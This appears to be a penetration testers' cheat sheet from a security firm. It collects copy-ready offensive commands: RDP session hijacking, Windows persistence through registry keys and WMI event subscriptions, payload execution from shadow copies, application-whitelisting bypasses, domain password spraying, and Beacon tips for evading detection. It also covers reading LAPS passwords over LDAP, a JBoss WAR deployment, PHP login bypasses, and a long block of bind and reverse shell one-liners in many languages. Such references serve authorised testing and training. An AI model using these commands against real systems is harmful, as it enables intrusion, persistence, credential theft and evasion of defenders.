Penetration Testing Pasties http://threatexpress.com





Pasties

‘Pasties’ started as a small file used to collect random bits of information and scripts that were common to many individual tests. Most of this is just a consolidation of publicly available information and things that Joe Vest (@joevest), Andrew Chiles (@andrewchiles), Derek Rushing, or myself (@minis_io) have found useful. Over time additional sections, section placeholders, snippets, and links were added for “quick reference” and has grown to quite a sizable markdown file. The more complex or longer sections will be separated into smaller more detailed write-ups; however, we decided to drop the short and generic info for public use now. Pasties data will also eventually be formatted and added to the wiki.
As usual, you can find the raw file and get the latest version of tools on our GitHub repository: https://github.com/threatexpress/.

Metagoofil

Source: http://resources.infosecinstitute.com/kali-reporting-tools/#gref
Metagoofil is an information gathering tool designed for extracting metadata of public documents (pdf,doc,xls,ppt,docx,pptx,xlsx) related to a target domain. It can give a lot of important information by scanning the obtained files. It can generate an HTML page with the result of the metadata extracted, plus a list of potential usernames, very useful for preparing a brute force attack on open services like ftp, web application, VPN, pop3, etc.
Metagoofil performs the following:
  • Searches the given file type using the Google search engine
  • Downloads all the documents found
  • Extracts metadata from downloaded documents
  • Saves the result in HTML file
Perform document metadata searching on target domain using first 200 google results
metagoofil -d .com -t pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx -l 200 -n 5 -o /tmp/metagoofil/ -f /tmp/metagoofil/result.html

censys.io

Censys is a search engine that allows computer scientists to ask questions about the devices and networks that compose the Internet. Driven by Internet-wide scanning, Censys lets researchers find specific hosts and create aggregate reports on how devices, websites, and certificates are configured and deployed.
  • Create an account and get an API key for use in ReconNG or manual searching
  • https://censys.io/ipv4?q=
Python API
# pip install censys
import censys.ipv4

RDP Hijacking
If you have SYSTEM context on a host, you can assume the RDP sessions of other users without credentials using the tscon.exe command.
Gain access to cmd.exe to issue the tscon.exe command over RDP by creating a backdoor with Stickkeys or Utilman. Use scheduled tasks (as SYSTEM) or create a service to execute the desired command.
# View RDP sessions on system your RDP'd to with administrative permissions
# Locally quser # Remote quser /server:
# Create a service that will swap your SESSIONNAME with the desired disconnected session
sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#XX" error= "ignore" # Start service net start sesshijack or
sc start sesshijack

Windows Persistence Methods

Registry Keys

Modify registry keys

#Add a key/value
reg add \\\ /v """ /t /d
#Delete a key/value
reg delete \\\ /v ""

Userinit Key

This key specifies what program should be launched right after a user logs into Windows. The default program for this key is C:\windows\system32\userinit.exe. Userinit.exe is a program that restores your profile, fonts, colors, etc for your user name. It is possible to add further programs that will launch from this key by separating the programs with a comma.
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = (REG_SZ) C:\windows\system32\userinit.exe,c:\windows\badprogram.exe

Run Key

#System Wide
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
#Current Logged-On User Only
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

List Image File Execution Options (Debugger file executed when the target file is run)

HKLM\Software\MS\WindowsNT\CurrentVersion\Image File Execution Options\notepad.exe\debugger(REG_SZ = cmd.exe)

AppInit_DLLs

Load custom DLLs each time a program runs (If it loads USER32.dll). This is checked by most AV!
This value corresponds to files being loaded through the AppInit_DLLs Registry value. The AppInit_DLLs registry value contains a list of dlls that will be loaded when user32.dll is loaded. As most Windows executables use the user32.dll, that means that any DLL that is listed in the AppInit_DLLs registry key will be loaded also. This makes it very difficult to remove the DLL as it will be loaded within multiple processes, some of which can not be stopped without causing system instability. The user32.dll file is also used by processes that are automatically started by the system when you log on. This means that the files loaded in the AppInit_DLLs value will be loaded very early in the Windows startup routine allowing the DLL to hide itself or protect itself before we have access to the system.

VSSADMIN – native windows utility

vssadmin create command only applies to Server OS (Win2k3,2008)
vssadmin list shadows
vssadmin create shadow /for=C:
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin create shadow /for=C
mklink /D C:\VscAccess \\?\GLOBALROOT\Device\HardDiskVolumeShadowCopy1
copy \\?\GLOBALROOT\Device\HardDiskVolumeShadowCopy4\path\to\some\file e:\files

Use WMIC process call to run an .exe from a Volume Shadow Copy

wmic process call create \\.\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\evil.exe

This process will not show the imagename (executable filename) or commandline parameters in the task list.
The file cannot be individually deleted from the shadow copy once created. The entire shadow copy must be deleted to remove it.
root@kali:~# wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //ServerName \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\evil.exe
NTSTATUS: NT_STATUS_OK - Success
In Kali Linux you could use the WMIS package to do the same thing:
wmis -U DOMAIN\domainadminsvc%domainadminsvc123 //ServerName \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\system32\evil.exe
NTSTATUS: NT_STATUS_OK - Success

DLL-Hijacking

Order of DLL Loading
1. The directory from which the application is loaded
2. The current directory
3. The system directory, usually C:\\Windows\\System32\\ (The GetSystemDirectory function is called to obtain this directory.)
4. The 16-bit system directory - There is no dedicated function to retrieve the path of this directory, but it is searched as well.
6. The directories that are listed in the PATH environment variable.
5. The Windows directory. The GetWindowsDirector function is called to obtain this directory.
Many systems use bginfo (seen it a lot in operational sys). Drop Riched32.dll in the dir with bginfo.exe. Codex.

WMI Event Persistence via Powershell

WMI Event persistence explained, you can find a bloated version in powersploit.
Three parts to this:
* WMI Event Filter
* Event Consumer
* Filter/Consumer Binding
This technique gets you SYSTEM level persistence, requires admin rights to execute.
Autoruns doesn’t even check for this yet. (doubt any AVs are either)
Difficult to detect, Difficult to remove if you dont know what youre doing.

WMI Event Filter

Create an event that checks every 60 seconds for a change in Win32_PerfFormattedData_PerfOS_System. (this is always changing)
$EventFilter = ([WMICLASS]"\\.\root\subscription:__EventFilter").CreateInstance()
$EventFilter.QueryLanguage = "WQL"
$EventFilter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$EVentFilter.EventNamespace = "root\cimv2" $EventFilter.Name = "OBVIOUSHACKER" $Result = $EventFilter.Put()
$Filter = $Result.Path
http://msdn.microsoft.com/en-us/library/aa394639(v=vs.85).aspx

Event Consumer

Configure what to execute once the event occurs.
Current example is just a ping.
$InstanceConsumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()
$InstanceConsumer.Name = "OBVIOUSHACKER"
$InstanceConsumer.WorkingDirectory = "C:\\windows\\system32"
$InstanceConsumer.CommandLineTemplate = "ping 127.0.0.1 -n 100" #CMD TO EXECUTE HERE $Result = $InstanceConsumer.Put()
$Consumer = $Result.Path
http://msdn.microsoft.com/en-us/library/aa389231(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/aa393649(v=vs.85).aspx

Filter/Consumer Binding

This is the object that correlates the Filter with the Consumer.
Runs as system as a child of WmiPrvSE.exe under the svchost.exe running Dcom service.
$InstanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$InstanceBinding.Filter = $Filter $InstanceBinding.Consumer = $Consumer
$Result = $InstanceBinding.Put()
http://msdn.microsoft.com/en-us/library/aa394647(v=vs.85).aspx

REMOVAL

The filter name would change depending on what you call the wmi event on your target (OBVIOUSHACKER shown as the example)
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='OBVIOUSHACKER'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='OBVIOUSHACKER'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'OBVIOUSHACKER'} | Remove-WmiObject

Application Whitelisting Bypass Techniques

https://bitbucket.org/jsthyer/wevade.git
Version .0.0.3
1. IEExec -This technique may work in certain environments. Its relies on the fact that many organizations trust executables signed
by Microsoft. We can misuse this trust by launching a specially crafted .NET application.
3. ClickOnce Applications dfsvc.exe dfshim.dll
Example Here: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/ 2. Rundll32.exe 4. XBAP - XML Browser Applications WPF PresentationHost.exe 5.

MailSniper (OWA and Exchange Enumeration)

Source: https://github.com/dafthack/MailSniper
MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used as a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.
MailSniper also includes additional modules for password spraying, and gathering the Global Address List from OWA and EWS.
Bypassing Dual Factor Authentication on OWA – http://www.blackhillsinfosec.com/?p=5396
  • It appears that Outlook portals that are being protected by two-factor authentication might not be covering all of the authentication protocols to Microsoft Exchange.
  • Leverages the Exchange Web Services (EWS) feature of OWA. Just have to check for the presence of mail.org.com\EWS\Exchange.asmx
Invoke-SelfSearch -Mailbox email@domain.com -ExchHostname mail.domain.com -Remote
  • After the credentials have been entered MailSniper will attempt to connect to the EWS URL at https://mail.domain.com/EWS/Exchange.asmx and search the user’s inbox for key terms (by default “pass”, “creds”, and “credentials”).

DomainPasswordSpray (Internal Windows Domain Password Brute Forcing)

Source: https://github.com/dafthack/DomainPasswordSpray
DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS!

Quick Start Guide

Open a PowerShell terminal from the Windows command line with ‘powershell.exe -exec bypass’.
Type 'Import-Module Invoke-DomainPasswordSpray.ps1'.

The only option necessary to perform a password spray is either -Password for a single password or -PasswordList to attempt multiple sprays. When using the -PasswordList option Invoke-DomainPasswordSpray will attempt to gather the account lockout observation window from the domain and limit sprays to one per observation window to avoid locking out accounts.

The following command will automatically generate a list of users from the current user’s domain and attempt to authenticate using each username and a password of Winter2016.
PowerShell Invoke-DomainPasswordSpray -Password Winter2016

The following command will use the userlist at users.txt and try to authenticate to the domain “domain-name” using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain’s lockout observation window and restrict sprays to one attempt during each window. The results of the spray will be output to a file called sprayed-creds.txt
PowerShell Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt

Invoke-DomainPasswordSpray Options

UserList - Optional UserList parameter. This will be generated automatically if not specified.
Password - A single password that will be used to perform the password spray.
PasswordList - A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts).
OutFile - A file to output the results to.
Domain - A domain to spray against.

OPSEC Considerations for Beacon Commands

A good operator knows their tools and has an idea of how the tool is accomplishing its objectives on their behalf. This blog post surveys Beacons commands and provides background on which commands inject into remote processes, which commands spawn jobs, and which commands rely on cmd.exe or powershell.exe.
API-only
These commands are built-into Beacon and rely on Win32 APIs to meet their objectives.
cd
cp
download
drives exit
kerberos_ccache_use
getuid
kerberos_ticket_purge
kerberos_ticket_use jobkill
mkdir
kill link ls make_token mv ppid
socks
ps pwd rev2self rm rportfwd
upload
steal_token timestomp
unlink

House-keeping Commands
The following commands are built into Beacon and exist to configure Beacon or perform house-keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not generate a task for Beacon to execute.
cancel
checkin
clear
downloads
help jobs
mode dns-txt
mode dns mode dns6
powershell-import
mode http note sleep
spawnto
socks stop

Post-Exploitation Jobs (Process Execution + Remote Process Injection)
Many Beacon post-exploitation features spawn a process and inject a capability into that process. Beacon does this for a number of reasons: (i) this protects the agent if the capability crashes, (ii) this scheme makes it seamless for an x86 Beacon to launch x64 post-exploitation tasks. The following commands run as post-exploitation jobs:
browserpivot
bypassuac
dcsync
covertvpn desktop
keylogger
elevate hashdump
net
logonpasswords mimikatz
screenshot
portscan powerpick psinject pth
wdigest
shspawn spawn ssh
ssh-key

OPSEC Advice: Use the spawnto command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change the parent process these jobs are run under as well.
Process Execution
These commands spawn a new process:
execute
runas
runu

OPSEC Advice: The ppid command will change the parent process of commands run by execute. The ppid command does not affect runas or spawnu.
Process Execution: Cmd.exe
The shell command depends on cmd.exe.
The pth and getsystem commands get honorable mention here. These commands rely on cmd.exe to pass a token to Beacon via a named pipe.
OPSEC Advice: the shell command uses the COMSPEC environment variable to find the preferred command-line interpreter on Windows. Use Aggressor Script’s &bsetenv function to point COMSPEC to a different cmd.exe location, if needed. Use the ppid command to change the parent process the command-line interpreter is run under. To pth without cmd.exe, execute the pth steps by hand.
Process Execution: PowerShell.exe
The following commands launch powershell.exe to perform some task on your behalf.
powershell
spawnas
winrm
spawnu
wmi

OPSEC Advice: Use the ppid command to change the parent process powershell.exe is run under. Be aware, there are alternatives to each of these commands that do not use powershell.exe:
spawnu has runu which runs an arbitrary command under another process.
spawnas has runas which runs an arbitrary command as another user.
powershell has powerpick, this command runs powershell scripts without powershell.exe.

It’s also possible to laterally spread without the winrm and wmi commands.
Remote Process Injection
The post-exploitation job commands (previously mentioned) rely on process injection too. The other commands that inject into a remote process are:
dllinject
inject
shinject

Service Creation
The following internal Beacon commands create a service (either on the current host or a remote target) to run a command. These commands use Win32 APIs to create and manipulate services.
getsystem
psexec
psexec_psh

ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
-x - Use basic authentication -h 192.168.80.10 - Connect to the Domain Controller for ldap
-b "dc=sittingduck,dc=info" - This loads the base LDAP object of the entire domain.
-D "helpdesk" -w ASDqwe123 - Login as the helpdesk user, with the password ASDqwe123
"(ms-MCS-AdmPwd=*)" - Filter out any objects that I can’t see a value for ms-MCS-AdmPwd for. (If you have rights as that user to see even one Administrator password, this will show it.)
ms-MCS-AdmPwd - Only show me the ms-MCS-AdmPwd object (which by default includes the object name and DN so you will still know what host it belongs to)

NFS

Bind Shells

https://github.com/infodox/exploits/blob/master/payloads/linux/perl.py
Perl Bind Shell (Port 1000)
perl -e 'use Socket;$p=10000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($p, INADDR_ANY));listen(S, SOMAXCONN);for(; $p= accept(C, S); close C) {open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/usr/bin/bash -i");};'

Reverse Shells

Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
your’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip

Java

JBOSS

Default credential is “admin:admin”
0. Host your .jar/.war payload with webshell on local webserver
1. Navigate to the JMX Console on the target host (http://IP.Ad.dr.ess:port/jmx-console/) and search for “service=MainDeployer”.
2. From here you’ll want to utilize the deploy() function since it allows you to enter a URL as a parameter value in java.net.URL. In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button.

PHP Type Juggling

Bypass login authentication with PHP Type juggling by forcing a null condition in a string comparison.
Add [] after a POST parameter “?user_id[]=user22” to force a NULL (zero-like) condition when comparing a string and an array

Web Sockets

There are still relatively few dec ent Web Socket testing tools and most aren’t very mature:
  • BurpSuite – Limited options to view web socket communication, but no ability to edit or replay traffic
  • ZAP Proxy – Ability to modify, replay, and fuzz web sockets, but still relatively clumsy
  • WSSiP– WebSocket Manipulation Proxy – Application for capturing, modifying and sending custom WebSocket data from client to server and vice versa.

Misc

Things that don’t seem to fit elsewhere!

Canary Tokens

Tokens consist of a unique identifier (which can be embedded in either HTTP URLs or in hostnames.) Whenever that URL is requested, or the hostname is resolved, we send a notification email to the address tied to the token. You can get one in seconds, using just your browser.
To obtain a token:
1. Visit http://canarytokens.org.
2. Enter your email address. (It's only used to notify you when the token is triggered, mails are not used for any other purpose.)
3. Enter a comment which describes where you're using the token. If the token is triggered in six months time, a comment will help you remember where you placed the token. Be specific (e.g. "file watch on 192.168.100.2:/repos/repo3/README.txt" or "Password lure email in user@domain.com inbox". We envisage having loads of tokens, so a good description is necessary.
4. Click "Generate Token" to obtain your token.
5. Copy the token and drop it somewhere it will be stumbled over.

Python SSL Web Server

Create PEM file
openssl req -newkey rsa:2048 -x509 -keyout cakey.pem -out cacert.pem -days 3650
To concatenate the private key and public certificate into a pem file (which is required for many web-servers ) :
cat cakey.pem cacert.pem > server.pem
Python code
import BaseHTTPServer, SimpleHTTPServer
import ssl
httpd = BaseHTTPServer.HTTPServer(('localhost', 4443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()

Magic Hashes

Source: https://www.whitehatsec.com/blog/magic-hashes/
Use Case 1: Use the “Magic” Number below as a password or as a string that you expect to be hashed. When it is compared against the hash of the actual value, and if they both are treated as “0” and therefore evaluated as true, you will be able to log into the account without the valid password. This could be forced to happen in environments where automatic passwords are chosen for users during a forgot password flow and then attempting to log in immediately afterwards, as an example.
  • https://example.com/login.php?user=bob&pass=240610708
Use Case 2: The attacker can simply take the example in the Hash column in the table below and use it as a value. In some cases these values are simply done as a look-up against known values (in memory, or perhaps dumped from a database and compared). By simply submitting the hash value, the magic hash may collide with other hashes which both are treated as “0” and therefore compare to be true. This could be caused to happen
  • https://example.com/login.php?user=bob&token=0e462097431906509019562988736854
